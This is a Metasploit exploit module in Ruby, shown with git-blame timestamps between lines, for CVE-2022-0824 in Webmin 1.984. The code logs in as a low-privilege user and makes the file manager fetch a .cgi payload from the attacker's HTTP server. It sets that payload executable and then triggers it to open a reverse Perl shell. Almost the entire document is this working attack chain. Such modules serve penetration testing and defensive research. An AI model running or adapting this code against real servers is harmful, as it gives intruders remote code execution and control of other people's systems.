2022-10-19 21:33:21 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
2022-10-25 16:24:27 -04:00
include Msf :: Exploit :: FileDropper
2022-10-19 21:33:21 -04:00
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: Remote :: HttpServer
2022-10-24 18:53:21 -04:00
include Msf :: Exploit :: Remote :: HTTP :: Webmin
2022-10-19 21:33:21 -04:00
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Webmin File Manager RCE' ,
'Description' = > %q{
2022-10-25 15:12:34 -04:00
In Webmin version 1.984, any authenticated low privilege user without access rights to
the File Manager module could interact with file manager functionalities such as downloading files from remote URLs and
changing file permissions. It is possible to achieve Remote Code Execution via a crafted .cgi file by chaining those
2022-10-19 21:33:21 -04:00
functionalities in the file manager.
} ,
'Author' = > [
2022-10-24 18:59:20 -04:00
'faisalfs10x' , # discovery
'jheysel-r7' # module
2022-10-19 21:33:21 -04:00
] ,
'References' = > [
2022-10-24 18:59:20 -04:00
[ 'URL' , 'https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/' ] , # exploit
2022-10-19 21:33:21 -04:00
[ 'URL' , 'https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell' ] , # exploit
[ 'CVE' , '2022-0824' ]
] ,
'License' = > MSF_LICENSE ,
'Platform' = > 'linux' ,
2022-10-24 18:53:21 -04:00
'Privileged' = > true ,
'Targets' = > [
2022-10-20 19:05:37 -04:00
[
2022-10-24 18:53:21 -04:00
'Automatic (Unix In-Memory)' ,
{
'Platform' = > 'unix' ,
'Arch' = > ARCH_CMD ,
'Type' = > :unix_memory ,
'DefaultOptions' = > { 'PAYLOAD' = > 'cmd/unix/reverse_perl' }
}
]
] ,
2022-10-19 21:33:21 -04:00
'DefaultTarget' = > 0 ,
2022-10-24 18:53:21 -04:00
'DisclosureDate' = > '2022-02-26' ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
'SideEffects' = > [ IOC_IN_LOGS ]
}
2022-10-19 21:33:21 -04:00
)
)
register_options (
[
OptPort . new ( 'RPORT' , [ true , 'The default webmin port' , 10000 ] ) ,
2022-10-20 19:05:37 -04:00
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , '' ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' , '' ] )
2022-10-19 21:33:21 -04:00
]
)
end
def check
2022-10-27 11:26:31 -04:00
webmin_check ( '0' , '1.984' )
2022-10-19 21:33:21 -04:00
end
def login
2022-10-24 18:53:21 -04:00
webmin_login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
2022-10-19 21:33:21 -04:00
end
def download_remote_url
print_status ( 'Fetching payload from HTTP server' )
2022-10-24 18:53:21 -04:00
res = send_request_cgi ( {
2022-10-25 16:39:53 -04:00
'uri' = > normalize_uri ( datastore [ 'TARGETURI' ] , '/extensions/file-manager/http_download.cgi' ) ,
2022-10-24 18:53:21 -04:00
'method' = > 'POST' ,
'keep_cookies' = > true ,
2022-10-27 11:26:31 -04:00
'data' = > 'link=' + get_uri + '.cgi' + '&username=&password=&path=%2Fusr%2Fshare%2Fwebmin' ,
2022-10-24 18:53:21 -04:00
'headers' = > {
'Accept' = > 'application/json, text/javascript, */*; q=0.01' ,
'Accept-Encoding' = > 'gzip, deflate' ,
'Content-Type' = > 'application/x-www-form-urlencoded; charset=UTF-8' ,
'X-Requested-With' = > 'XMLHttpRequest' ,
'Referer' = > 'http://' + datastore [ 'RHOSTS' ] + ':' + datastore [ 'RPORT' ] . to_s + '/filemin/?xnavigation=1'
2022-10-25 16:39:53 -04:00
} ,
'vars_get' = > {
'module' = > 'filemin'
2022-10-24 18:53:21 -04:00
}
} )
2022-10-19 21:33:21 -04:00
fail_with ( Failure :: UnexpectedReply , 'Unable to download .cgi payload from http server' ) unless res
2022-10-25 15:12:41 -04:00
fail_with ( Failure :: BadConfig , 'please properly configure the http server, it could not be found by webmin' ) if res . body . include? ( 'Error: No valid URL supplied!' )
2022-10-25 16:24:27 -04:00
register_file_for_cleanup ( " /usr/share/webmin/ #{ @file_name } " )
2022-10-19 21:33:21 -04:00
end
def modify_permissions
print_status ( 'Modifying the permissions of the uploaded payload to 0755' )
res = send_request_cgi ( {
2022-10-25 16:39:53 -04:00
'uri' = > normalize_uri ( target_uri . path , '/extensions/file-manager/chmod.cgi' ) ,
2022-10-24 18:53:21 -04:00
'method' = > 'POST' ,
'keep_cookies' = > true ,
'headers' = > {
'Referer' = > 'http://' + datastore [ 'RHOSTS' ] + ':' + datastore [ 'RPORT' ] . to_s + 'filemin/?xnavigation=1'
} ,
2022-10-25 16:39:53 -04:00
'vars_get' = > {
'module' = > 'filemin' ,
'page' = > '1' ,
'paginate' = > '30'
} ,
2022-10-24 18:53:21 -04:00
'vars_post' = > {
'name' = > @file_name ,
'perms' = > '0755' ,
'applyto' = > '1' ,
'path' = > '/usr/share/webmin'
}
} )
fail_with ( Failure :: UnexpectedReply , 'Unable to modify permissions on the upload .cgi payload' ) unless res && res . code == 302
2022-10-19 21:33:21 -04:00
end
def exec_revshell
res = send_request_cgi (
'method' = > 'GET' ,
2022-10-20 19:05:37 -04:00
'keep_cookies' = > true ,
'uri' = > normalize_uri ( datastore [ 'TARGETURI' ] , @file_name ) ,
2022-10-19 21:33:21 -04:00
'headers' = > {
2022-10-20 19:05:37 -04:00
'Connection' = > 'keep-alive'
2022-10-19 21:33:21 -04:00
}
)
2022-10-20 19:05:37 -04:00
fail_with ( Failure :: UnexpectedReply , 'Unable to execute the .cgi payload' ) unless res && res . code == 500
2022-10-19 21:33:21 -04:00
end
def on_request_uri ( cli , request )
print_status ( " Request ' #{ request . method } #{ request . uri } ' " )
2022-10-20 19:05:37 -04:00
print_status ( 'Sending payload ...' )
send_response ( cli , payload . encoded ,
2022-10-19 21:33:21 -04:00
'Content-Type' = > 'application/octet-stream' )
end
def exploit
2022-10-20 19:05:37 -04:00
start_service
2022-10-24 18:53:21 -04:00
@file_name = ( get_resource . gsub ( '/' , '' ) + '.cgi' )
cookie = login
2022-10-25 15:13:11 -04:00
fail_with ( Failure :: BadConfig , 'Unsuccessful login attempt with creds' ) if cookie . empty?
2022-10-19 21:33:21 -04:00
print_status ( 'Downloading remote url' )
download_remote_url
print_status ( 'Finished downloading remote url' )
2022-10-20 19:05:37 -04:00
modify_permissions
2022-10-19 21:33:21 -04:00
exec_revshell
end
end